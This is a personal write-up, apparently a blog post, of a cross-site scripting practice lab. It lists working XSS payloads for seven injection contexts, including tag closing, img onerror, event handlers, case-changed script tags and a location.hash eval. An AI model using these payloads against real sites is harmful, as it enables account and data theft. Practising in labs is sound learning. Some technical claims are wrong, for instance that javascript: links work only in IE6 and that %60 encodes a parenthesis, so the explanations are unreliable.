做了一个xss弹窗练习,不知道有的地方理解的或者操作的对不对,只是记录一些过程,如果有错还请指出。
https://xss.twosecurity.xyz/topic1?name=1 附上地址
要确定xss是在什么地方发生的,一个小方法就是先输入一个文本,自己要记住。然后查看源码,ctrl+f,查找就可以确定位置了。有的没有输入框就是在url的参数中。
1.输出在html中:
可以看到输入点在<p>标签中,所以先闭合再输入语句
</p><script>alert(‘xss’)</script>
可以看到弹窗成功。
2.xss输出在html属性中
发现输入点在href属性中
(1)首先我想到的是伪协议,于是有
javascript:alert(‘大魔王’);
这里用的是JavaScript的伪协议,大多数浏览器是不支持的,只有ie6支持,所以没有其他情况的话只有在ie6中才会有弹窗,当然也不是所有的属性值都能产生xss,通常只有引用文件的属性才能触发跨站脚本,href,lowsrc,bgsound,background,value,action,dynsrc。
(2)再想到的就是闭合标签
"><script>alert('大魔王')</script>
然后就直接弹窗,payload插入以后是下面这样子的
3.xss输出在script标签中
于是想到闭合标签,有了下面的额payload
</script><script>alert("456123")</script><script>
结果并没有痰喘,查看源文件发现变成下面这样
分析可能是因为过滤了引号和括号,然后就想到对其进行编码,这里进行的是url编码
</script><img%20src=1%20onerror=alert%601%60>
这里20%是空格,%60是括号,直接弹窗
4.xss输出在input value中
(1)首先想到的是闭合标签,于是有
"><script>alert('111')</script><s="
构造的payload,直接闭合了input标签,并且为了闭合后面的”> 也构造了一个s= ,没有什么实际意义,只是保证不出错
成功弹窗
(2)再想到的是用事件
" onclick="alert('111')"
这样是没有弹窗的,需要点击一下输入框才会有弹窗
5.xss输出在textarea中
</h2><script>alert('111')</script><h2>
结果爆出系统错误,查看源文件
可以看到第三行是系统报错的弹窗,于是考虑是被过滤了关键词,于是换成大小写
<SCRIPT>alert("XSS")</script>
成功弹窗,下图中的倒数第二行为插入的payload
6.xss通过innerHTML输出:
" onclick="alert('111')" x="
原封不动显示出来,但是在源文件里面被过滤了
考虑可能是escapeHTML() 进行过滤,escapeHTML()会按照如下的规则进行转义:
于是想到下面,弹窗成功
<img src=1 onerror=alert(1)>
7.
<script>eval(location.hash.substr(1))</script>#alert(‘111’)
substr的意思从#开始执行JavaScript,就是alert('111')